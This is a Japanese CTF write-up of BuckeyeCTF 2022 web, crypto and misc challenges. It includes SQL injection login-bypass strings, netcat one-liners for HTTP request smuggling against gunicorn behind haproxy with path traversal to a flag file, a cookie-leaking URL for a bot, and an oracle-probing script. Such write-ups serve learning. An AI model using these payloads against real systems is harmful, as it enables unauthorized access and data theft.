- [web] buckeyenotes
- [web] pong
- [web] owl
- [web] textual
- [web] quizbot 解けず
- [web] scanbook
- [web] Hambone
- [web] goober 解けず
- [web] shortbread
- [crypto] megaxord
- [crypto] Twin prime RSA
- [misc] keyboardwarrior
[web] buckeyenotes
ユーザー名はbrutusB3stNut9999らしい。
ログイン画面もあるので、SQLiを試す。
POST /index.php
に対して、手始めにusername=brutusB3stNut9999&password='%20or%20''%3d'
を投げてみると、nice try, hacker >:D I removed your equal signs
と言われる。
方向性はあっていそう。
色々試すと、username=brutusB3stNut9999&password='%20or%201%20--
で応答が変わる。
Logged in as rene. Nothing posted yet :(
だが、username=rene&password='%20or%201%20--
としても応答は変わらない。
そうか、恒真になっているのか。パスワードを' or 1 limit 1 offset 1 --
とするとフラグが得れた。
つまりusername=brutusB3stNut9999&password='%20or%201%20limit%201%20offset%201%20--
でフラグ。
buckeye{wr1t3_ur_0wn_0p3n_2_pwn}
[web] pong
websocketで通信するwebゲームが与えられる。
- ゲーム開始時
- 送信
42["begin"]
- 受信
42["begin",{"bvx":0.002154512541541786,"bvy":-0.0017458436916229707}]
- 多分初期加速度
- 送信
- 勝敗が決する
42["score",-0.25047568828470707]
というのが大量に送られる
サーバー側からすると、scoreくらいしか判定に使えそうなものはなさそう。
if(bx < -.1 || bx > 1.1) { socket.emit("score", bx); }
みたいなコードもあるので、1.2くらいを送れば良さそう。
負けた時に送られているスコアを見ると-0.1ずつされていた。
負けた時のスコアを1.2くらいに変えて、1.3,1.4,...のように増やしていくと、上のバーが増えていって、何回かやっているとフラグが得られた。
buckeye{1f_3v3ry0n3_ch3475_175_f41r}
[web] owl
Discordで連絡すると、反応するBOTが与えられる。
URLを与えるとCookie経由でフラグをくれるが、ドメインにowlを含む必要があるらしい。
request catcherで適当にowlを含むドメインを作って、リクエストを送ってもらえばいい。
https://owl-sadjfgjiwaejgtiwaejigsdfd.requestcatcher.com/
を使った。
buckeye{7h3_m0r3_17_5335_7h3_1355_17_h0075}
[web] textual
flag.texを読み込めればいい。
\documentclass{article} \begin{document} \input{flag.tex} \end{document}
を入れてCtrl+sすればフラグが得られる。
buckeye{w41t_3v3n_l4t3x_15_un54f3}
[web] quizbot 解けず
解けず。
https://github.com/Phil-ip-M/CTF-writeups-DIG174L/blob/main/Web/quizbot.md
あー、なるほど。これは解けないとダメだな
[web] scanbook
特定のメッセージを入れるとQRコードが発行されて、それを読み込ませればメッセージが見られるサイト。
何個かQRコードを作ってみると連番の数値がQRコードになっているだけ。
数値を戻せばほかの人の投稿が見られそう。IDORか?
数を適当に試すと0をQRコードにしたものを読み込ませるとフラグが出てきた。
色々回り道してしまったな…
buckeye{4n_1d_numb3r_15_N07_4_p455w0rd}
[web] Hambone
/asdf
のように適当に文字列を追加するとOnly hexadecimal values [0-9A-Fa-f] is allowed in URL
と言われた。
なるほど。
/00
とすると背景が変わった。
なるほど、
def get_distances(padded_url : str, flag_path : str): distances = [] for i in range(3): # calculate hamming distance on 16 byte subgroups flag_subgroup = flag_path[i*32:i*32+32] z = int(padded_url[i*32:i*32+32], 16)^int(flag_subgroup, 16) distances.append(bin(z).count('1')) return distances
のような感じでハミング距離が与えられる。
000000...から初めて100000...にしてハミング距離が縮まるかを確認していけば良さそう。
「hexを32文字ずつ取り出している16bytes分 xor 入力値16bytes分」を計算後の1となっているビット数が1つのRGB値になっている。
48bytes分先頭から特定していこう。
import requests import time import re from Crypto.Util.number import * base = 'https://hambone.chall.pwnoh.io' prefix = b'\x80' rgb = [b'\x00' * 16] * 3 def get(rgb): h = rgb[0].hex() + rgb[1].hex() + rgb[2].hex() url = f'{base}/{h}' print(url) t = requests.get(url).text a = re.search(r'<body style=\"background: #([0-9a-f][0-9a-f])([0-9a-f][0-9a-f])([0-9a-f][0-9a-f])\">', t) #a = re.search(r'<p style="color:#([0-9a-f][0-9a-f])([0-9a-f][0-9a-f])([0-9a-f][0-9a-f])\">', t) print(t) r = int(a.groups()[0], 16) g = int(a.groups()[1], 16) b = int(a.groups()[2], 16) #print(r) #print(g) #print(b) #exit(0) return (r, g, b) def up(b, dig): return long_to_bytes(bytes_to_long(prefix + b) ^ pow(2, digit))[1:] for digit in range(8 * 16 + 1): (r1, g1, b1) = get(rgb) print(f'{digit} / 128') rgb2 = [ up(rgb[0], digit), up(rgb[1], digit), up(rgb[2], digit) ] (r2, g2, b2) = get(rgb2) if r1 > r2: rgb[0] = rgb2[0] else: r2 = r1 if g1 > g2: rgb[1] = rgb2[1] else: g2 = g1 if b1 > b2: rgb[2] = rgb2[2] else: b2 = b1 print(f'r: {rgb[0]} ({r1} -> {r2})') print(f'g: {rgb[1]} ({g1} -> {g2})') print(f'b: {rgb[2]} ({b1} -> {b2})') print("==============================================================") time.sleep(5)
とりあえず、flag_pathが
538d3c13426a67b5b75e76f8ca2573ef4822ddd465220d5484e8887394703cac87ad79e3696098c779a669b7ebc74d62
であることは分かったが、何も出てこない…
逆か?と思って、
で逆にしてみるとフラグが出てきた。
GET /ac72c3ecbd95984a48a1890735da8c10b7dd222b9addf2ab7b17778c6b8fc3537852861c969f6738865996481438b29d
buckeye{th3_b4ckgr0und_i5_n0t_4_l13}
[web] goober 解けず
https://discord.com/channels/881578226546257941/1032359206902321163/1039037057730871456
あ”ー
// remove custom doctype, dtd reg := regexp.MustCompile(`<!DOCTYPE[^>[]*(\[[^]]*\])?>`) contentSafe := reg.ReplaceAllString(contents, "")
これが全く目に入ってこなかった。二重で書いとけばいい系ね。
[web] shortbread
(たぶん)初First Blood! pic.twitter.com/F3a0tYn8nl
— hamayanhamayan (@hamayanhamayan) November 6, 2022
haproxy+gunicornでアクセス制限といえば、Request Smugglingなので脆弱性を探す。
requirements.txtでgunicorn==20.0.2
のようにgunicornがバージョン指定されている所から以下が見つかる。
grenfeldt.dev
適当にlongpathを生成して、以上のブログを参考にpayloadを組み立てる。
echo -en "GET / HTTP/1.1\r\nHost: shortbread.chall.pwnoh.io:13389\r\nContent-Length: 261\r\nSec-Websocket-Key1: x\r\n\r\nxxxxxxxxGET /admin/api/logs?path=95a97864be4e542b44042dfc8f24c6eeba7a76551ad76e04d9f35d7befe68013532b30cf853bb45b19f849df2e5949b83d43eba833d9840a30714df7f593a05fd869174aa1cc48ef3fb2fd48ae90 HTTP/1.1\r\nHost: shortbread.chall.pwnoh.io:13389\r\nContent-Length: 57\r\n\r\nGET / HTTP/1.1\r\nHost: shortbread.chall.pwnoh.io:13389\r\n\r\n" | nc shortbread.chall.pwnoh.io 13389
とすると
... <div> <h3> Long url: 95a97864be4e542b44042dfc8f24c6eeba7a76551ad76e04d9f35d7befe68013532b30cf853bb45b19f849df2e5949b83d43eba833d9840a30714df7f593a05fd869174aa1cc48ef3fb2fd48ae90 </h3> </div> <div class="alert alert-secondary" role="alert"> <p> 2022-11-06 06:37:53.996661 [172.17.0.14] Created link http://shortbread.chall.pwnoh.io:13389/url/95a97864be4e542b44042dfc8f24c6eeba7a76551ad76e04d9f35d7befe68013532b30cf853bb45b19f849df2e5949b83d43eba833d9840a30714df7f593a05fd869174aa1cc48ef3fb2fd48ae90 to http://shortbread.chall.pwnoh.io:13389/ </p> </div>
ok. 良い感じ。
echo -en "GET / HTTP/1.1\r\nHost: shortbread.chall.pwnoh.io:13389\r\nContent-Length: 128\r\nSec-Websocket-Key1: x\r\n\r\nxxxxxxxxGET /admin/api/logs?path=../../../../../flag.txt HTTP/1.1\r\nHost: shortbread.chall.pwnoh.io:13389\r\nContent-Length: 57\r\n\r\nGET / HTTP/1.1\r\nHost: shortbread.chall.pwnoh.io:13389\r\n\r\n" | nc shortbread.chall.pwnoh.io 13389
でフラグ獲得。
buckeye{1_th1nk_1ll_st1ck_t0_fr0nt_3nd}
[crypto] megaxord
ヒントから察するに何かでxorしてあると見られる。
cyberchefに通してxor bruteforceすると58(hex)で良い感じにぞろぞろ出てくる。
フラグがそこに含まれていた。
buckeye{m1gh7y_m0rph1n_w1k1p3d14_p4g3}
[crypto] Twin prime RSA
p, q=p+2なので双子素数。
N = pq = p(p+2) = p2 + 2pとなり、p^2 + 2p - N = 0
を解けばpが分かる。
後は復号化する。
#sage n = 20533399299284046407152274475522745923283591903629216665466681244661861027880216166964852978814704027358924774069979198482663918558879261797088553574047636844159464121768608175714873124295229878522675023466237857225661926774702979798551750309684476976554834230347142759081215035149669103794924363457550850440361924025082209825719098354441551136155027595133340008342692528728873735431246211817473149248612211855694673577982306745037500773163685214470693140137016315200758901157509673924502424670615994172505880392905070519517106559166983348001234935249845356370668287645995124995860261320985775368962065090997084944099 p = var('p') ps = solve([p^2 + 2*p - n == 0], p) for p in ps: print(p) ''' p == 143294798577213005576020354449363336712753101204933361044269678287588574905872412650617497576541788967876246407437412477908557870604609568483821469789039751874662646080352254896471732798522024624126808158129285267986755832482176755174033932685828569532434529721714065504111788246725634802602600226314398282709 p == -143294798577213005576020354449363336712753101204933361044269678287588574905872412650617497576541788967876246407437412477908557870604609568483821469789039751874662646080352254896471732798522024624126808158129285267986755832482176755174033932685828569532434529721714065504111788246725634802602600226314398282711 '''
上のpを使えばいい。
n = 20533399299284046407152274475522745923283591903629216665466681244661861027880216166964852978814704027358924774069979198482663918558879261797088553574047636844159464121768608175714873124295229878522675023466237857225661926774702979798551750309684476976554834230347142759081215035149669103794924363457550850440361924025082209825719098354441551136155027595133340008342692528728873735431246211817473149248612211855694673577982306745037500773163685214470693140137016315200758901157509673924502424670615994172505880392905070519517106559166983348001234935249845356370668287645995124995860261320985775368962065090997084944099 c = 786123694350217613420313407294137121273953981175658824882888687283151735932871244753555819887540529041840742886520261787648142436608167319514110333719357956484673762064620994173170215240263058130922197851796707601800496856305685009993213962693756446220993902080712028435244942470308340720456376316275003977039668016451819131782632341820581015325003092492069871323355309000284063294110529153447327709512977864276348652515295180247259350909773087471373364843420431252702944732151752621175150127680750965262717903714333291284769504539327086686569274889570781333862369765692348049615663405291481875379224057249719713021 p = 143294798577213005576020354449363336712753101204933361044269678287588574905872412650617497576541788967876246407437412477908557870604609568483821469789039751874662646080352254896471732798522024624126808158129285267986755832482176755174033932685828569532434529721714065504111788246725634802602600226314398282709 q = n // p from Crypto.Util.number import * e = 0x10001 phi = (p - 1) * (q - 1) d = pow(e, -1, phi) print(long_to_bytes(pow(c, d, n)))
buckeye{B3_TH3R3_OR_B3_SQU4R3abcdefghijklmonpqrstuvwxyz0123456789}
[misc] keyboardwarrior
Bluetooth通信が流れている。
キーボードの入力を復元すれば良さそう。
Wiresharkで開いて眺めると「Rcvd Handle Value Notification, Handle: 0x001d (Human Interface Device: Unknown」というそれっぽいものがある。
構造体も認識されているので眺めると、Bluetooth Attribute ProtonolのValue部分がUSBでのキーボード通信として流れてくるものと酷似している。
データを抜き出してきて、後はDecoding Mixed Case USB Keystrokes from PCAPを参考に復元すればいい。
buckeyectf{4v3r4g3_b13_3nj0y3r}